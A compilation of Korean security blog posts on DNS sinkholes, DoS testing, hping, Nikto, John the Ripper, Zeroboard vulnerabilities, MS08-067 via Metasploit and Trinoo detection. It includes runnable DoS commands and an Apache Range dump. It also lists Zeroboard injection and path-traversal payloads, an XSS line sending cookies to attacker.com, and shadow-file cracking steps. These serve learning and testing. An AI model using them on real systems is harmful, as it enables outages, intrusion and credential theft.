[싱크홀] DNS 싱크홀 설정방법






# DNS sinkhole (DNS 싱크홀) 이란?


sinkhole 은 "(땅 속의) 빗물에 패인 구멍" 이라는 사전적 의미를 가지고 있습니다.




해커는 좀비PC 들을 제어하기 위해 C&C 서버를 이용합니다.


이러한 C&C 서버는 보통 악용된 도메인으로 이루어집니다.


DNS 싱크홀은 좀비PC가 C&C 주소로 접속을 할 때 미리 설정된 DNS를 통해 C&C 도메인이 아닌 사용자가 설정된


도메인으로 접속하게 끔 변경하는 기술입니다.




비슷한 기술로 DDoS 공격 시 라우터에서 설정하는 Null Routing 즉, 블랙홀 라우팅이 있습니다.


블랙홀 라우팅을 흔히 싱크홀 라우팅이라고도 합니다.




다만 DNS 싱크홀은 라우터가 아닌 DNS 서버를 변경하여 좀비PC가 접속하는 C&C 주소를 변경하는 기술이 되겠습니다.






# 설정 방법


DNS 서버에서 C&C 주소를 포워딩하게끔 설정하시면 됩니다.


이는 수동으로 설정해야 하지만 아래 S4를 사용하시면 자동으로 이를 관리할 수 있습니다.




현재 KISA 에서 DNS를 자체적으로 운영하고 있는 기업 및 기관을 대상으로 싱크홀 서비스를 하고 있습니다.


바로 Sinkhole Status Share System ( S4 ) 라고 하며 회원제로 운영됩니다.


https://s4.knsp.org 사이트에 접속하여 회원가입을 합니다.




(출처) https://s4.knsp.org




xbot@kisa.or.kr 로 회원가입을 하시면 인증과정을 거친 후 DNS 설정변경에 대한 답을 받게 됩니다.


이 때 AS Number 및 DNS 서버의 IP 를 설정합니다.




(출처) https://s4.knsp.org




업데이트 되는 블랙리스트 정보는 관리하는 AS Number 및 싱크홀 접근 서버 IP 가 승인된 후 확인이 가능합니다.






# DNS 싱크홀 적용안내서 / 출처 : KrCERT




# 윈도우 DNS 싱크홀 설정방법 / 출처 : KrCERT


윈도우_싱크홀_적용가이드.pdf






# 리눅스 DNS 싱크홀 설정방법 / 출처 : KrCERT


Bind_싱크홀_적용_가이드.pdf






위 적용가이드를 통해 DNS 싱크홀을 설정하시면,


봇에 감염된 PC가 해커와 연결을 시도할 때 해커의 시스템이 아니라 KISA의 싱크홀 서버로 접속하게 됩니다.


따라서 더 이상 해커부터 좀비 PC가 악용되지 않게 되며,


이러한 수집정보를 통해 보다 체계적인 감염 PC 관리 및 봇에 대한 정보 공유가 가능하게 되었습니다.


  1. 교과부 DNS Sinkhole 주소 : http://210.102.126.183/black_list/list.conf

[악성코드] 악성코드를 분석할 수 있는 사이트

 

 

아래 사이트에서 악성코드를 업로드 하면 분석이 가능합니다.

 

 

http://anubis.iseclab.org/

 

 

https://www.virustotal.com/ko/

[DoS] Apache Range Header DoS / CVE-2011-3192

 

 

 

 

 

참조 URL : http://people.apache.org/~dirkx/CVE-2011-3192.txt

 

 

 

 

 

Apache Range Header DoS는 L7 어플리케이션 공격 중 일부로 일명 Apache Killer라고도 합니다.

 

 

HTTP는 헤더정보에 range를 사용하여 pdf 나 동영상 등의 일부를 로딩할 수 있습니다.

 

 

만약 문서를 로딩하는 바이트의 범위를 악의적으로 조작한다면 서버의 CPU와 메모리자원을 고갈시킬 수 있습니다.

 

 

 

 

 

# 리눅스 시스템에서 테스트

 

 

참조 URL : http://code.google.com/p/apache-range-header-test/

 

 

저는 CentOS 6.3에서 테스트 해보았습니다.

 

 

1. 패키지 설치

yum install perl perl-libwww-perl

 

 

2. script 다운로드

wget  http://code.google.com/p/apache-range-header-test/downloads/detail?name=httprangetest.pl

 

 

3. 테스트

perl httprangetest.pl http://victim.com

 

 

 

 

 

# Backtrack 에서 테스트

 

 

1. msfconsole

 

 

2. 테스트

msf > use auxiliary/dos/http/apache_range_dos

msf  auxiliary(apache_range_dos) > set rhost 1.1.1.1

msf  auxiliary(apache_range_dos) > run

 

 

 

 

 

 

# 공격 시 트래픽 덤프 내용

 

HEAD / HTTP/1.1

Host: 1.1.1.1

Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30,5-31,5-32,5-33,5-34,5-35,5-36,5-37,5-38,5-39,5-40,5-41,5-42,5-43,5-44,5-45,5-46,5-47,5-48,5-49,5-50,5-51,5-52,5-53,5-54,5-55,5-56,5-57,5-58,5-59,5-60,5-61,5-62,5-63,5-64,5-65,5-66,5-67,5-68,5-69,5-70,5-71,5-72,5-73,5-74,5-75,5-76,5-77,5-78,5-79,5-80,5-81,5-82,5-83,5-84,5-85,5-86,5-87,5-88,5-89,5-90,5-91,5-92,5-93,5-94,5-95,5-96,5-97,5-98,5-99,5-100,5-101,5-102,5-103,5-104,5-105,5-106,5-107,5-108,5-109,5-

 

- 중략 -

 

1249,5-1250,5-1251,5-1252,5-1253,5-1254,5-1255,5-1256,5-1257,5-1258,5-1259,5-1260,5-1261,5-1262,5-1263,5-1264,5-1265,5-1266,5-1267,5-1268,5-1269,5-1270,5-1271,5-1272,5-1273,5-1274,5-1275,5-1276,5-1277,5-1278,5-1279,5-1280,5-1281,5-1282,5-1283,5-1284,5-1285,5-1286,5-1287,5-1288,5-1289,5-1290,5-1291,5-1292,5-1293,5-1294,5-1295,5-1296,5-1297,5-1298,5-1299

Accept-Encoding: gzip

Connection: close

 

 

 

 

 

# 대응방안 :

1. 아파치를 최신버전으로 패치합니다.

 

 

2. 상용 웹방화벽이나 mod_security와 같은 보안솔루션에서 HEAD Method를 사용을 해제 합니다.

[Proxy Tool] Burp Suite v1.5 Released






지난 10월 31일 Burp Suite Free Edition v1.5가 릴리즈 되었습니다.



관련링크 : http://blog.portswigger.net/2012/10/burp-suite-free-edition-v15-released.html



무료 다운로드 링크 : http://portswigger.net/burp/download.html





[History] BrowserHistorySpy Tool

 

 

 

 

 

BrowserHistorySpy는 SecurityXploded 사에서 개발된 툴로 이름 그대로 웹 브라우저의 히스토리를 확인할 수 있습니다.

 

 

 

 

 

다운로드 링크 : http://securityxploded.com/browser-history-spy.php

 

 

 

 

 

설치 버전 및 포터블 버전(실행파일)도 있습니다.

 

 

BrowserHistorySpy.exe

 

 

 

 

 

 

 

 

 

 

 

 


 

 

이와 비슷한 툴로 NirSoft 사의 IEHistoryView 툴이 있습니다.

 

 

 

 

 

다운로드 링크 : http://www.nirsoft.net/utils/iehv.zip

 

 


[Steganography] 무료 스테가노그래피 툴 OpenStego






스테가노그래피는 커다란 메시지 또는 의미없는 메시지 안에 비밀 메시지를 숨기기는 기법으로

보통 사진, 음악, 다량의 텍스트 등에 비밀 메시지를 숨깁니다.






다음은 얼마전 종영된 드라마 유령에서도 나왔던 툴로

윈도우 및 *NIX 계열에서 동작가능한 OpenStego 툴 입니다.






툴을 실행하면 Embed 및 Extract를 할 수 있습니다.






# 다운로드 경로 : http://sourceforge.net/projects/openstego/files/openstego/






1. 파일을 숨기는 과정

Secret_Document.txt 파일을 Cover_Image.jpg 안에 숨겨 새롭게 result.png 파일을 생성하는 화면







2. 파일을 복원하는 과정

result.png 파일을 이용하여 원본 비밀 파일을 복원하는 화면










  1. 2013.05.14 18:49

    동영상에도 첨부가능한가요?

  2. hades 2015.06.24 01:33

    감사합니다. 공식사이트까지남겨주시다니... 감사인사드리고갑니다.

[chkrootkit] 리눅스 루트킷 탐지 프로그램




리눅스 시스템에서 루트킷을 탐지하는 프로그램은 여러가지가 있습니다.



그 중에 chkrootkit 에 대해 살펴봅니다.



check rootkit 즉, chkrootkit 은 http://www.chkrootkit.org/ 에서 확인이 가능합니다.



현재는 페이지가 막힌 상황이라서 미러 페이지를 통해 다운로드를 합니다.



Mirror Page : http://www.mirrorservice.org/sites/www.chkrootkit.org/





# 설치


1. wget http://www.mirrorservice.org/sites/www.chkrootkit.org/chkrootkit-0.49.tar.gz



2. tar xvfz chkrootkit-0.49.tar.gz



3. cd chkrootkit-0.49



4. ./chkrootkit




./chkrootkit : 일반모드로 탐지시작

./chkrootkit -x : 전문가용 모드로 탐지시작





# 참고


루트킷(rootkit) 이란?

공격자가 해킹을 성공한 후 다음번 침입을 쉽게 하기 위해서 백도어 및 트로이잔 프로그램을 설치하는 데

이러한 프로그램을 루트킷이라고 합니다.

루트킷에 포함되는 프로그램으로는 ps, ls, netstat 등과 같은 시스템 프로그램들이 있는데,

이러한 루트킷은 시스템에 원래 있었던 프로그램과 바꿔치기 되기 때문에 관리자가 시스템을 점검해도

이상 없게 보이며 공격자가 실행한 프로세스나 설치된 프로그램은 확인할 수 없습니다.

  1. 박사아들 2017.01.13 14:26

    감사합니다 ^ ^

[NFAT] Network Forensic Analysis Tool - NetworkMiner

 

NetworkMiner 는 NFAT (네트워크 포렌식 분석 툴) 입니다.

패시브 네트워크 스니퍼로 패킷 캡처가 가능하며 또한 오프라인에서 pcap 파일의 파싱이 가능합니다.

 

패킷이 덤프된 pcap 파일을 통하여,

1. 운영시스템 분석

2. 세션 분석

3. 호스트네임 분석

4. 열린 포트 분석

등을 확인할 수 있습니다.

 

1. OS 정보 (fingerprinting)

 

2. 이미지 정보

 

3. DNS 정보

 

[DoS] 리눅스 자원 고갈 공격


[DoS] 리눅스 자원 고갈 공격


다음과 같은 소스를 통해

malloc() 함수가 계속 메모리 할당을 진행하게 하여

시스템의 CPU와 메모리 자원을 소모하게 할 수 있습니다.


결국 해당 시스템은 명령을 실행하는 데 상당한 시간이 소요됩니다.


# 해당 소스

#include <stdio.h>

void main(){

        char *m;

        while(1)

                m = malloc (1000);

}



# 빌드 방법

gcc -o test test.c



# vmstat 화면 / CPU & 메모리 자원 고갈...


[Land] Land Attack 에 대하여


# Land Attack


land 의 사전적 의미는,

착륙, 상륙 하다 이외에 "나쁜 상태에 빠지게 하다" 라는 뜻도 있습니다.


사전적 의미와 같이 해당 시스템을 나쁜 상태에 빠지게 하는 방법으로
패킷을 전송할 때 destination 의 IP 와 source IP 를 같게 보내는 공격 입니다.

예전 Old 한 시스템의 경우 CPU 의 자원을 소모하는 DoS 성 공격이었으나
현재 시스템은 동일 IP 로 유입되는 즉, "출발지 IP = 목적지 IP" 트래픽에 대해 Drop 을 합니다.




# Land Attack Testing

hping 을 사용하여 간단히 Land Attack 을 테스트 할 수 있습니다.

방법 : 

hping2 192.168.10.250 -a 192.168.10.250 -1           // -a : 출발지 주소, -1 : icmp


그림1) 리눅스 시스템에서 hping 테스트



그림2) wireshark 를 통한 패킷 덤프 화면


[hping] hping 설치 및 사용방법



참고 URL : http://hping.org



hping 은 다음과 같은 기능이 있습니다.


1. hping 의 기능

   - 방화벽 테스팅

   - 포트 스캔

   - 네트워크 테스팅

   - MTU 확인

   - traceroute

   - OS 핑거프린팅

   - 업타임 추측

   - TCP/IP 스택 체크

   - TCP/IP 스터디 시 유용함




2. hping2 설치 방법

  저는 CentOS 5.3 에서 hping2 버전을 다운로드 하였습니다.


  가. 다운로드 / http://hping.org/download.php

  wget http://hping.org/hping2.0.0-rc1.tar.gz


  나. 압축 해제

  tar xvfz hping2.0.0-rc1.tar.gz 


  다. 설치 / INSTALL 파일을 참조합니다.

  리눅스의 경우,

  cd hping2

  ./configure

  make ; make install

  입니다.




3. hping2 사용방법

  가. 일반적인 ping flooding

  hping -1 192.168.10.250 -d 60000          // -1 은 icmp, -d 는 데이터 크기



  나. 출발지 IP 변조

  hping 192.168.10.250 -1 -a 0.0.0.1 -d 60000          // -a 는 출발지 IP 스푸핑


 그림1) icmp protocol 로 filter 시


  위 캡처화면에서 보면,

  icmp 에 대한 id 값이 같으므로 한 패킷이 fragmentation 되었다는 것을 확인할 수 있습니다.


  id = packet 의 IP Header 의 Identification 값


  그림2) Fragments 에 해당되는 덤프 화면 / no filter 시  

  위 화면에서도 마찬가지로 IP Fragments 에 해당 패킷이 쪼개져 전송되는 것을 확인할 수 있습니다.



  다. syn flooding

  hping2 192.168.10.250 -a 1.1.1.1 -p 445 -S          // -S 는 syn flag 설정, -p 는 목적지 포트


  그림3) syn flooding 덤프 화면

 192.168.10.250 target 에서 SYN, ACK 응답만 계속 보내게 됨


  그림4) 192.168.10.250 target 에서 세션 현황 / SYN_RECEIVED 상태



 



[DoS] SlowHTTPTest 테스트


SlowHTTPTest 는 Application Layer DoS 를 시뮬레이션 하기 위한 툴 입니다.

기존 
Slowloris, Slow HTTP POST와 같이 낮은 대역폭으로 Concurrent Connections Pool 을 소모하며,
Apache Range Header attack 을 통해 서버의 메모리와 CPU 자원을 고갈시킵니다.

Slowloris 와 Slow HTTP POST DoS 는 HTTP 프로토콜에 기반하여 제작되었으므로 시뮬레이션 시 서버의
Requests를 필요합니다.
만약 HTTP Request 가 완전하지 않거나 매우 느리게 전송될 경우 서버는 데이터를 기다려며 자원을 소모합니다.
계속 자원이 소모될 경우 서버는 서비스불능 상태가 됩니다.
이와 같이 Slowloris와 Slow HTTP POST 는 HTTP Request 를 부분적으로 전송하여 타겟 HTTP 서버를 DoS 상태로 만듭니다.

반면 Slow Read DoS attack 은 Request를 지연시키는 것이 아니라,
정상적인 Request를 보내고 느리게 Response를 읽게 함으로써 서버의 자원을 고갈시킵니다.


예를 들자면,
점심시간 직원들끼리 중국집에 가서 주문을 하는데...

기존의 Slowloris 와 Slow HTTP POST 이
주문을 받으러 사람이 왔을 때 주문을 천천히 하거나 주문을 계속 번복하여 다른사람의 주문이 주방으로 못들어가게 하는 공격인 반면,

Slow Read DoS attack 은
주문 시 중국집에서 가장 시간이 오래 걸리는 특선요리를 10개 정도 시켜 주방이 마비가 되도록하는 공격입니다. ^^;
 




# SlowHTTPTest 설치방법
 
저는 CentOS 5.5에서 테스트 해보았습니다.
 
 

1. http://slowhttptest.googlecode.com/files/slowhttptest-1.4.tar.gz 에서 최신 버전을 다운로드 합니다.

wget 
http://slowhttptest.googlecode.com/files/slowhttptest-1.4.tar.gz 




2. 압축을 해제 합니다.

tar xvfz slowhttptest-1.4.tar.gz




3. 컴파일을 합니다.
./configure ; make ; make install




4. slowhttptest -c 100 -B -i 100 -r 200 -s 10000 -u http://site.com 를 통해 테스팅을 합니다.
( 약 5초 후 Service가 Down 된 것이 표시됩니다. ) 




# slowhttptest 1.4 옵션
 

slowhttptest 1.4, a tool to test for slow HTTP DoS vulnerabilities.
Usage:
slowhttptest [-a <range start>] [-b <range limit>]
[-c <number of connections>] [-<H|B|R|X>]
[-g <generate statistics>]
[-i <interval in seconds>] [-k <request multiply factor>]
[-l <test duration in seconds>]
[-n <slow read interval in seconds>] [-o <output file path and/or name>]
[-p <timeout for probe connection>]
[-r <connections per second>]
[-s <value of Content-Length header>] [-t <verb>]
[-u <URL>] [-v <verbosity level>] 
[-w <advertised window size range start>] [-x <max length of follow up data>]
[-y <advertised window size range end>] [-z <slow read from recieve buffer in bytes>]
Options:
-a start,        left boundary of range in range header, default: 5
-b bytes,        limit for range header right boundary values, default: 2000
-c connections,  target number of connections, default: 50
-h               display this help and exit
-H, -B, -R or X  specify test mode (slow headers,body, range or read),
                default: headers
-g,              generate statistics with socket state changes,
                default: off
-i seconds,      interval between followup data in seconds, default: 10
-k num,          number of times to repeat same request in the connection
                Use to multiply response size if server supports persistent connections.
                Effective in slow read (-X) mode only, default: 1
-l seconds,      target test length in seconds, default: 240
-n seconds,      interval between read operations from recv buffer in seconds.
                Effective in slow read (-X) mode only, default: 1
-o file,         save statistics output in file.html and file.csv,
                -g must be specified to use this option
-p seconds,      timeout to wait for HTTP response on probe connection,
                after which server is considered inaccessible,
                default: 5
-r num,          connection rate (connections per seconds), default: 50
-s bytes,        value of Content-Length header if needed, default: 4096
-t verb          verb to use in request,
                defalut to GET for slow headers and response and to POST for slow body
-u URL,          absolute URL of target, default: http://localhost/
-v level,        verbosity level 0-4: Fatal, Info, Error, Warning, Debug
                default: 1 - Info
-w bytes,        start of the range advertised window size would be picked from.
                Effective in slow read (-X) mode only, min: 1, default: 1
-x bytes,        max length of each randomized name/value pair of
                followup data per tick, e.g. -x 2 generates
                X-xx: xx for header or &xx=xx for body, where x
                is random character, default: 32
-y bytes,        end of the range advertised window size would be picked from.
                Effective in slow read (-X) mode only, min: 1, default: 512
-z bytes         bytes to slow read from receive buffer with single read() call.
                Effective in slow read (-X) mode only, default: 5


  1. 멋진관우 2016.02.04 13:36

    slowhttptest 다운로드 신규 경로는 다음과 같습니다.

    wget http://slowhttptest.googlecode.com/files/slowhttptest-1.5.tar.gz

    만약 ./configure 과정에서 openssl-dev 에러가 발생할 경우,

    apt-get install libssl-dev 를 통해 해당 라이브러리를 설치하시면 됩니다.


[취약점분석도구] Linux에서 Nikto를 사용하여 웹서버 취약점 분석하기

nikto라는 공개소프트웨어를 통해서 리눅스 서버에서 웹서버의 취약점을 분석할 수 있습니다.


# 설치방법

1. Nikto 다운로드
wget https://cirt.net/nikto/nikto-2.1.4.tar.gz


2. 다운로드된 파일을 압축해제 후 실행합니다.
tar xvfz nikto-2.1.4.tar.gz
cd nikto-2.1.4

perl로 실행되므로 perl을 다운로드 합니다.
yum install perl

./nikto.pl -h www.test.com -Cgidirs all -output test_site.html -Format html -Display on
로 실행합니다.

 




# 설치가이드문서
http://cirt.net/nikto2-docs/installation.html#id2727109


# 스캔된 웹서버 access_log 화면



[XSS] XSS Cheat Sheet


ref : http://ha.ckers.org/xss.html



[제로보드] 리눅스에 제로보드 4.1 pl2 설치하기

사이트 PT 시연(?)이 있어서 리눅스에 제로보드를 설치해봤습니다.
(물론 제로보드는 보안패치가 전혀 안 된 4.1버전 입니다. ^_^)

1. 리눅스를 설치합니다.
(4.1의 mysql과 php 버전을 생각하여 CentOS 4 버전 대역으로 설치하였습니다.)



2. 필요 패키지를 설치합니다.
(yum을 통하여 필요 패키지를 설치하였습니다.)
# yum -y install httpd mysql mysql-server php php-mysql



3. http와 mysql 서비스를 시작 합니다.
# service httpd start ; service mysqld start



4. 제로보드 4.1 pl2 버전의 압축을 풉니다.
    가. 해당 경로에 zb41pl2.tar.Z 파일 복사
    나. 압축 해제
    # tar xvfz zb41pl2.tar.Z
    다. 필요에 따라 경로 변경



5. 인코딩 문제를 해결하기 위한 작업을 합니다.
    # 해당 작업을 안 하면 install.php 화면에서 글자가 깨집니다.
    # 압축 해제된 제로보드 파일의 인코딩을 utf-8로 변경함 (RedUTF8.exe의 UTF8 Encode 사용)
    # 변경된 파일을 /var/www/html에 옮겨 놓았습니다.



6. DB 스키마 정보를 변경합니다.
   # 4.1 pl2 버전에서는 DB가 생성이 되지 않아, 4.1 pl8 버전의 schema.sql 파일로 overwrite 했습니다.



7. 다른 몇 가지 설정을 합니다.
   # install.php에서 무한 로그인 현상 해결
     /etc/php.ini에 session.bug_compat_42 = 1 로 수정



   # 게시판 한글 깨지는 현상 관련 mysql 문자셋 설정
     /etc/my.cnf에 다음과 같이 수정


  # admin.php에서 계정정보 넣은 후 로그인이 되지 않는 현상
    /etc/php.ini에 register_globals = On으로 수정



# 위 3개 항목 수정 후 http 데몬을 재 시작 합니다.
# service httpd restart

8. DB를 설정합니다.
# mysql -u root -p
(엔터)
mysql> use mysql;
mysql> insert into user (host, user, password) values ('localhost', 'zerotest', password('1234qwer'));
mysql> create database pt;
mysql> insert into db values('localhost', 'pt', 'zerotest', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y');
mysql> flush privileges;



9. 이제 설정은 모두 끝났습니다. UI를 띄웁니다.
http://192.168.0.130/install.php



10. 아까 8번에서 설정한 정보를 넣습니다.
(원래 이런 과정은 안 거쳐도 되지만...mysql 호환성 문제로 강제로 세팅하였습니다. ㅜㅜ)



11. 원하시는 계정정보를 넣습니다.



12. 관리자 권한으로 로그인하여 게시판을 만듭니다.



13. 이제 관리자 화면의 매뉴얼(^^)을 확인하여 게시판을 만듭니다~



# 궁금하신 사항은 리플 주세염~ ^_^


  1. 냠냠 2010.12.24 12:18

    님...죄송한데요..
    혹시 제로보드 pl1~pl8까지 있으신지요.....
    있으시면 좀 보내주시면 안될련지요.

    • 관우 2011.01.09 12:57

      글쎄요...
      배포는 ZB 규약상 어려운 것 같아서 게시는 못하구요~
      대신 메일 주소 알려주시면 보내 드릴께요~

      비밀글로 등록해주세요~

  2. 2011.07.19 17:53

    비밀댓글입니다

    • 2011.08.05 22:11

      비밀댓글입니다

  3. 2011.12.08 22:56

    비밀댓글입니다

  4. 2013.08.29 02:43

    비밀댓글입니다

  5. 2014.05.25 23:27

    비밀댓글입니다



[WebGoat] WebGoat 설치하기



1. WebGoat 파일을 다운로드 합니다.
http://sourceforge.net/projects/owasp/files/WebGoat/



2. Java SE Development Kit (JDK)을 설치합니다.
http://java.sun.com/javase/downloads/index.jsp



3. 환경 변수를 설정합니다.
"시스템 등록 정보" - "고급" - "환경 변수"



아래와 같은 변수를 넣어 줍니다.



%JAVA_HOME%bin



4. 변수 적용을 위하여 시스템을 재부팅 합니다.



5. webgoat.bat 를 실행한 후, http://localhost/webgoat/attack으로 로그인 합니다.
ID: guest, PW: guest





# 참고)
예전 5.0 버전에서는 http://localhost/WebGoat/attack으로 로그인을 하였지만,
이번 5.3 버전에서는 http://localhost/webgoat/attack으로 로그인 됩니다...^_^




또한 외부에서 webgoat에 접근할 경우,
C:\WebGoat\tomcat\conf 경로에 있는 server_80.xml 파일의 100번째 줄을 시스템의 IP로 수정하면 됩니다.







# 로그인 화면)







[포렌식] 이미지 포렌식

exshow13e.exe



사진 파일에 대하여 변경된 이력이나 생성날짜 등의 정보를 확인할 수 있습니다.


# 사용방법

1. 첨부파일을 설치합니다.

2. 해당 이미지를 익스플로러 브라우저에서 클릭하여 열어봅니다.

3. 마우스 오른쪽 클릭에 다음과 같은 메뉴를 선택합니다.




4. 이미지에 대한 정보를 알 수 있습니다. ^^;


  1. 뎅꽁이 2010.08.03 23:17

    속성창에서 보는 거군요 ^^

    • tisiphone 2010.08.14 00:09

      네 저도 처음엔 한참 찾았습니다...^^;


OWASP Top 10 - 2010.pdf



2010년 OWASP Top 10 항목 입니다.

기존(2007년)에 비해 몇가지 변경된 사항이 있네요...





[SNMP] SNMP Brute Forcing Attack tool




위의 그림과 같이 SNMP String을 Brute Forcing 하여 response 값을 추출할 수 있습니다.

출처 : http://www.remote-exploit.org/wp-content/uploads/2010/01/5NMP.tar.gz
SHA-1: 1d8310fb505d1f4270406f8d2059a23cf72adac1



[존더리퍼] John the Ripper를 이용하여 패스워드 크랙하기


john-1.7.4.tar.tar



리눅스 머신에서 John the Ripper를 이용하여 Brute Forcing(Dictionary Scan)을 통해,
간단한 비밀번호의 경우 크랙이 가능합니다.

방법)

1. http://www.openwall.com/john/ 에서 JTR을 다운 받습니다.

2. 다운 받은 john-1.7.4.tar.tar 파일을 리눅스 머신에 업로드 합니다.

3. tar xvfz john-1.7.4.tar.tar 하여 압축을 풉니다.

4. cd /john-1.7.4/src      // src 경로로 이동합니다.

5. make linux-x86-any      // 컴파일 합니다.

6. cd ../run/      // run 경로로 이동합니다.

7. ./unshadow /etc/passwd /etc/shadow > userlist.txt      // passwd 파일과 shadow 파일을 합칩니다.


8. ./john userlist.txt      // 크랙을 시도합니다.



# 크랙된 내용을 보는 명령어는
./john --show userlist.txt



[제로보드] 제로보드 취약점 정리

1. login.php 파일의 PHP Injection 취약점 / pl2 이하
login.php?group_no=1을 실행하여 취약점을 확인한 뒤,
login.php?group_no=1&file=[경로]를 호출하여 공격함

ex) login.php?group_no=1&file=test/injection.txt

<?php
 echo "해킹이 가능합니다.";
?>


2. MySQL DB 덤프 취약점 / pl3 이하
admin_setup.php?_zb_lib_included=true&exec=db_dump&member=1


3. include/write.php 파일의 원격 PHP Injection 취약점 / pl4 이하
05년 호스팅 업체 해킹의 대표적인 사례

<?php
 echo "<? echo \ "해킹이 가능합니다.\"; ?>";
?>

ex) include/write.php?dir=http://[원격 스크립트 주소]

 

4. check_user_id.php 파일의 XSS 취약점 / pl4 이하
check_user_id.php?user_id=<script>alert(document.cookie);</script>

원격지 주소로 쿠키 값을 전송하기
<script> windows.location.href = 'http://attacker.com/write.php?val=' + document:cookie; </script>

 

5. skin/nzeo_vote/error.php 파일의 원격 PHP Injection 취약점 / pl5 이하
3번과 유사


6. 웹서버의 시스템 파일 노출 취약점 / pl5 이하
_head.php?_zb_path=../../../../etc/passwd%00


7. 정규표현식을 우회한 PHP Injection 취약점 / pl5 이하
정규표현식에 Null 문자(\0) 삽입 시 그 문자까지 만을 정규표현식으로 인식하는 PHP의 특성

8. 비밀게시물을 열람할 수 있는 취약점 / pl6  이하
_member_info_included=1 의 변수를 조작하여 비밀글 열람 가능


9. .htaccess 파일업로드 취약점 / pl7 이하
.htaccess 파일이 업로드가 가능함


10. download.php 의 SQL Injection 취약점 / pl7 이하
download 회수를 paros를 통해 HTTP 헤더를 조작하여 변경할 수 있음


11. 쪽지기능의 XSS 취약점 / pl7 이하
쪽지에 XSS를 넣을경우 상대방에게 XSS가 가능함


 


[IPS] tomahawk를 이용한 IPS 테스팅


토마호크라는 프로그램을 이용하여 IPS를 데모테스팅 할 수 있습니다.


토마호크 설치방법(tomahawk installation)


1. 필요사항
    가. Pentium with 1GHz or faster processor
    나. 512 MB of memory
    다. Red Hat Linux 7.2 or later (or equivalent Linux distribution)
    라. Two (2) gigabit Network Interfaces Cards (NICs) for data, assigned to eth0 and eth1.
         The Intel ProLAN adapters are inexpensive and work great.
    마. One (1) NIC for management, assigned to eth2

2. 설치방법
   가. http://tomahawk.sourceforge.net/tomahawk1.1.gz 에서 패키지를 다운 받습니다.
   나. gzip -d tomahawk1.1.gz으로 해당 패키지의 압축을 풉니다.
   다. chmod +x tomahawk1.1 로 퍼미션 변경 후 실행합니다.

3. 실행방법
   가. tomahawk -l -i eth0 -j eth1 -f test.pcap 등의 명령어로 200~450M의 트래픽을 생성합니다.


[root@localhost bin]# tomahawk1.1 -h

Usage: tomahawk1.1 options
Options affecting all streams:
    -h              Print help and exit
    -Z              Debug mode (multiple -Z's increase)
    -W              Warning mode (enables extra checks and prints out warnings)
    -q              Quiet mode
    -R rate         playback rate in Mbps (default: unlimited
    -m sendGroupSize Maximum number of packets to gather before sending the group (default: 15)
    -w lookahead    Maximum number of packets to examime while gathering the group to send (default: 500)
    -i interface1   Interface to send packets on
    -j interface2   Interface to send packets on
    -a startIpAddr  First IP address for mapped IPs
    -N maxActive    Max simultaneously active handlers
    -s startId      Lowest hadler ID to use (default: 1)
    -e endId        Highest handler ID to use (default: 251)
    -L logFile      Run in logMode and log packets that time out to logFile (- is STDOUT).

Options individual streams (handlers):
    -A (0|1)        Modify IP addresses (default: true)
    -d              Randomize lower 2 bytes of IP address (use only when the pcap has 2 IPs in it.)
    -t timeout      Timeout for one packet(ms)
    -r retrans      Number of retransmission
    -n maxActive    Max number of handlers for a file
    -l loops        Number of times to replay file
    -f file         Pcap file to play




상기와 같은 옵션으로 테스트를 진행하면 됩니다.



출처 :  http://tomahawk.sourceforge.net/



[MS08-067] Exploit Test

BackTrack4를 통해서 MS08-067 익스플로잇을 테스팅할 수 있습니다.

1. BT4를 구동하여 로그인합니다. (root/toor)

2. cd ../pentest/exploits/framework3

3. ./msfconsole 을 실행합니다. (조금 시간이 걸리네요...)


4. use windows/smb/ms08_067_netapi     //exploit 모듈을 로딩합니다.

5. set payload windows/meterpreter/bind_tcp

6. set RHOST 192.168.0.35     //테스팅 대상의 IP를 넣습니다.

7. exploit     //익스플로잇을 진행합니다.


8. 결과 ; 물론 Victim은 패치가 되지 않은 윈도우를 대상으로 하였습니다.


[intercepting proxy] 웹 프록시 툴 다운로드

Burp proxy : http://portswigger.net/suite/download.html

Paros proxy : http://www.parosproxy.org/download.shtml



[윈도우] 윈도우 자동 보안업데이트

http://www.boho.or.kr/index.jsp

보호나라 홈페이지에 보면
PC 자동보안업데이트라는 프로그램이 보입니다.

이미지 출처 : 보호나라 메인 페이지


PC 자동보안업데이트를 클릭하시어 PCSmileInstaller를 클릭하여 설치합니다.

그 이후 컴퓨터가 시작할 때 PC 자동보안업데이트가 실행되며, 아직 패치되지 않은 윈도우 보안업데이트 항목을
보여줍니다. ^-^



[DDoS] DDoS툴 구입사이트

http://aishen118.dothome.co.kr

중간에 보면 위디스크 P2P에 파일을 업로드하는 화면도 보입니다.


분명 중국인에 의해 만들어진 DDoS툴의 상품화(?) 사이트라고 생각되네요.

그러나 dothome 도메인을 사용했으니 국내 검색엔진에도 당연히 노출이 되겠죠?

중국 홈페이지와 메신저로만 거래되는지 알았던 DDoS툴이 버젓이 국내 사이트에도 있었네요.

dothome에서 이러한 호스팅은 폐쇄했으면 좋겠지만 이러한 광고는 중국내에서도 문제시 되는 이슈라고 생각됩니다.




[DDoS] About Trinoo

# 최초의 DDoS Attack : 1999년 8월 17일 미네소타 대학 공격

# Trinoo
UDP Flooding을 일으키는 대표적인 툴
  • 사용하는 통신 포트
    • attacker -> master : TCP 27665
    • master -> daemons : UDP 27444
    • daemons -> master : UDP 31335
  • master가 daemons에게 명령을 보낼 때 사용되는 Default password(plain text)
    • l44adsl - trinoo daemon password
    • gOrave - trinoo master server startup
    • betaalmostdone - trinoo master remote interface password
    • killme - trinoo master password to control "mdie" command
  • trinoo가 설치되는 파일 이름
    • ns
    • http
    • rpc.trinoo
    • rpc.listen
    • trinix
    • rpc.irix
    • irix
  • 주기적으로 trinoo daemon을 실행하기 위해 crontab에 등록한 예
    • * * * * *  /usr/sbin/rpc.listen
  • 탐지 방법
    • 네트워크 트래픽 체크 - tcpdump, snoop 등(UDP 트래픽 급증함)
    • nmap 체크
      nmap -PI -sT -p 27665 host
      nmap -PI -sU -p 31335 host
      nmap -PI -sU -p 27444 host
    • crontab 이나 디렉토리 검색
      master : tserver1900
      daemon : tsolnmb, ns, httpd, rpc.trinoo, rpc.listen, trinix, rpc.irix, irix
